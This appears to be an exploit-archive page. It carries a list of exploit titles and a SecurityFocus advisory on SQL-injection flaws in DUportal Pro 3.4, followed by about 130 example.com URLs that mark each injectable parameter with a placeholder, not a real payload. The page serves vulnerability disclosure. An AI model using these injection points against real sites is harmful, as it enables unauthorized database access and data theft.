
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
138 lines
No EOL
16 KiB
Text
138 lines
No EOL
16 KiB
Text
source: https://www.securityfocus.com/bid/13285/info
|
|
|
|
DUportal Pro is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
|
|
|
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
|
|
|
|
These vulnerabilities are reported to affect DUportal Pro 3.4; earlier versions may also be affected.
|
|
|
|
http://www.example.com/dUpro/Businesses/../Pictures/detail.asp?iData=53&iCat=510&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Businesses/../Pictures/detail.asp?iData=53&iCat=510&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Businesses/../Pictures/detail.asp?iData=53&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Businesses/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=510&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Businesses/detail.asp?iData=1&iCat=563&iChannel=18&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Businesses/detail.asp?iData=1&iCat=563&iChannel='SQL_INJECTION&nChannel=Businesses
|
|
http://www.example.com/dUpro/Businesses/detail.asp?iData='SQL_INJECTION&iCat=563&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/Classifieds/../Pictures/detail.asp?iData=3&iCat=520&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Classifieds/../Pictures/detail.asp?iData=3&iCat=520&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Classifieds/../Pictures/detail.asp?iData=3&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Classifieds/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=520&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Classifieds/detail.asp?iData=14&iCat=351&iChannel=7&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Classifieds/detail.asp?iData=14&iCat=351&iChannel='SQL_INJECTION&nChannel=Classifieds
|
|
http://www.example.com/dUpro/Classifieds/detail.asp?iData='SQL_INJECTION&iCat=351&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/Events/../events/detail.asp?iData=5&iCat=327&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/events/../events/detail.asp?iData=5&iCat=327&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Events/../events/detail.asp?iData=5&iCat=327&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/events/../events/detail.asp?iData=5&iCat=327&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/Events/../events/detail.asp?iData='SQL_INJECTION&iCat=327&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/events/../events/detail.asp?iData='SQL_INJECTION&iCat=327&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/events/../Pictures/detail.asp?iData=49&iCat=505&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/events/../Pictures/detail.asp?iData=49&iCat=505&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/events/../Pictures/detail.asp?iData=49&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Events/../Pictures/detail.asp?iData=5&iCat=520&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Events/../Pictures/detail.asp?iData=5&iCat=520&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Events/../Pictures/detail.asp?iData=5&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/events/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=505&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Events/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=520&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Files/../Pictures/detail.asp?iData=8&iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Files/../Pictures/detail.asp?iData=8&iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Files/../Pictures/detail.asp?iData=8&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Files/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=206&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Files/detail.asp?iData=4&iCat=433&iChannel=4&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Files/detail.asp?iData=4&iCat=433&iChannel='SQL_INJECTION&nChannel=Files
|
|
http://www.example.com/dUpro/Files/detail.asp?iData='SQL_INJECTION&iCat=433&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Articles/detail.asp?iData=26&iCat=238&iChannel=2&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Articles/detail.asp?iData=26&iCat=238&iChannel='SQL_INJECTION&nChannel=Articles
|
|
http://www.example.com/dUpro/home/../Articles/detail.asp?iData='SQL_INJECTION&iCat=238&iChannel=2&nChannel=Articles
|
|
http://www.example.com/dUpro/home/../Businesses/detail.asp?iData=16&iCat=548&iChannel=18&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Businesses/detail.asp?iData=16&iCat=548&iChannel='SQL_INJECTION&nChannel=Businesses
|
|
http://www.example.com/dUpro/home/../Businesses/detail.asp?iData='SQL_INJECTION&iCat=548&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/home/../Classifieds/detail.asp?iData=15&iCat=222&iChannel=7&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Classifieds/detail.asp?iData=15&iCat=222&iChannel='SQL_INJECTION&nChannel=Classifieds
|
|
http://www.example.com/dUpro/home/../Classifieds/detail.asp?iData='SQL_INJECTION&iCat=222&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/home/../Entertainments/detail.asp?iData=4&iCat=605&iChannel=19&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Entertainments/detail.asp?iData=4&iCat=605&iChannel='SQL_INJECTION&nChannel=Entertainments
|
|
http://www.example.com/dUpro/home/../Entertainments/detail.asp?iData='SQL_INJECTION&iCat=605&iChannel=19&nChannel=Entertainments
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=24&iCat=247&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=24&iCat=247&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=5&iCat=327&iChannel=6&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=5&iCat=327&iChannel='SQL_INJECTION&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData='SQL_INJECTION&iCat=247&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData='SQL_INJECTION&iCat=327&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Files/detail.asp?iData=5&iCat=434&iChannel=4&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Files/detail.asp?iData=5&iCat=434&iChannel='SQL_INJECTION&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Files/detail.asp?iData='SQL_INJECTION&iCat=434&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Links/detail.asp?iData=6&iCat=390&iChannel=5&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Links/detail.asp?iData=6&iCat=390&iChannel='SQL_INJECTION&nChannel=Links
|
|
http://www.example.com/dUpro/home/../Links/detail.asp?iData='SQL_INJECTION&iCat=390&iChannel=5&nChannel=Links
|
|
http://www.example.com/dUpro/home/../News/detail.asp?iData=21&iCat=250&iChannel=1&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../news/detail.asp?iData=21&iCat=250&iChannel=1&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../News/detail.asp?iData=21&iCat=250&iChannel='SQL_INJECTION&nChannel=News
|
|
http://www.example.com/dUpro/home/../news/detail.asp?iData=21&iCat=250&iChannel='SQL_INJECTION&nChannel=News
|
|
http://www.example.com/dUpro/home/../News/detail.asp?iData='SQL_INJECTION&iCat=250&iChannel=1&nChannel=News
|
|
http://www.example.com/dUpro/home/../news/detail.asp?iData='SQL_INJECTION&iCat=250&iChannel=1&nChannel=News
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=51&iCat=209&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=51&iCat=209&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=51&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=53&iCat=510&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=53&iCat=510&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=53&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=54&iCat=514&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=54&iCat=514&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=54&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=55&iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=55&iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=55&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=56&iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=56&iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=56&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=6&iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=6&iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=6&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=7&iCat=206&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=7&iCat=206&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData=7&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=206&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=209&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=510&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=514&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/home/../Products/detail.asp?iData=9&iCat=231&iChannel=8&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/home/../Products/detail.asp?iData=9&iCat=231&iChannel='SQL_INJECTION&nChannel=Products
|
|
http://www.example.com/dUpro/home/../Products/detail.asp?iData='SQL_INJECTION&iCat=231&iChannel=8&nChannel=Products
|
|
http://www.example.com/dUpro/home/../Topics/detail.asp?iData=29&iCat=478&iChannel='SQL_INJECTION&nChannel=Topics
|
|
http://www.example.com/dUpro/home/../Topics/detail.asp?iData=29&iCat='SQL_INJECTION&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/home/../Topics/detail.asp?iData='SQL_INJECTION&iCat=478&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/Pictures/../Pictures/detail.asp?iData=5&iCat=520&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Pictures/../Pictures/detail.asp?iData=5&iCat=520&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/../Pictures/detail.asp?iData=5&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=520&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/detail.asp?iData=10&iCat=499&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/Pictures/detail.asp?iData=10&iCat=499&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/detail.asp?iData=10&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Pictures/detail.asp?iData='SQL_INJECTION&iCat=499&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/polls/../polls/../Pictures/detail.asp?iData=30&iCat=208&iChannel=3&nChannel='SQL_INJECTION
|
|
http://www.example.com/dUpro/polls/../polls/../Pictures/detail.asp?iData=30&iCat=208&iChannel='SQL_INJECTION&nChannel=Pictures
|
|
http://www.example.com/dUpro/polls/../polls/../Pictures/detail.asp?iData=30&iCat='SQL_INJECTION&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/polls/../polls/../Pictures/detail.asp?iData='SQL_INJECTION&iCat=208&iChannel=3&nChannel=Pictures
|
|
http://www.example.com/dUpro/Topics/../topics/detail.asp?iData=28&iCat=479&iChannel='SQL_INJECTION&nChannel=Topics
|
|
http://www.example.com/dUpro/Topics/../topics/detail.asp?iData=28&iCat='SQL_INJECTION&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/Topics/../topics/detail.asp?iData='SQL_INJECTION&iCat=479&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/Topics/../topics/detail.asp?iData='SQL_INJECTION&iCat=479&iChannel=16&nChannel=Topics
|
|
http://www.example.com/dUpro/Businesses/detail.asp?iData=1&iCat='SQL_ERRORS&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/Classifieds/detail.asp?iData=14&iCat='SQL_ERRORS&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/Events/../events/detail.asp?iData=5&iCat='SQL_ERRORS&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/events/../events/detail.asp?iData=5&iCat='SQL_ERRORS&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/Files/detail.asp?iData=4&iCat='SQL_ERRORS&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Articles/detail.asp?iData=26&iCat='SQL_ERRORS&iChannel=2&nChannel=Articles
|
|
http://www.example.com/dUpro/home/../Businesses/detail.asp?iData=16&iCat='SQL_ERRORS&iChannel=18&nChannel=Businesses
|
|
http://www.example.com/dUpro/home/../Classifieds/detail.asp?iData=15&iCat='SQL_ERRORS&iChannel=7&nChannel=Classifieds
|
|
http://www.example.com/dUpro/home/../Entertainments/detail.asp?iData=4&iCat='SQL_ERRORS&iChannel=19&nChannel=Entertainments
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=24&iCat='SQL_ERRORS&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Events/detail.asp?iData=5&iCat='SQL_ERRORS&iChannel=6&nChannel=Events
|
|
http://www.example.com/dUpro/home/../Files/detail.asp?iData=5&iCat='SQL_ERRORS&iChannel=4&nChannel=Files
|
|
http://www.example.com/dUpro/home/../Links/detail.asp?iData=6&iCat='SQL_ERRORS&iChannel=5&nChannel=Links
|
|
http://www.example.com/dUpro/home/../News/detail.asp?iData=21&iCat='SQL_ERRORS&iChannel=1&nChannel=News
|
|
http://www.example.com/dUpro/home/../news/detail.asp?iData=21&iCat='SQL_ERRORS&iChannel=1&nChannel=News
|
|
http://www.example.com/dUpro/home/../Products/detail.asp?iData=9&iCat='SQL_ERRORS&iChannel=8&nChannel=Products
|
|
http://www.example.com/dUpro/home/../Topics/detail.asp?iData=29&iCat=478&iChannel=16&nChannel='SQL_ERRORS
|
|
http://www.example.com/dUpro/Topics/../topics/detail.asp?iData=28&iCat=479&iChannel=16&nChannel='SQL_ERRORS |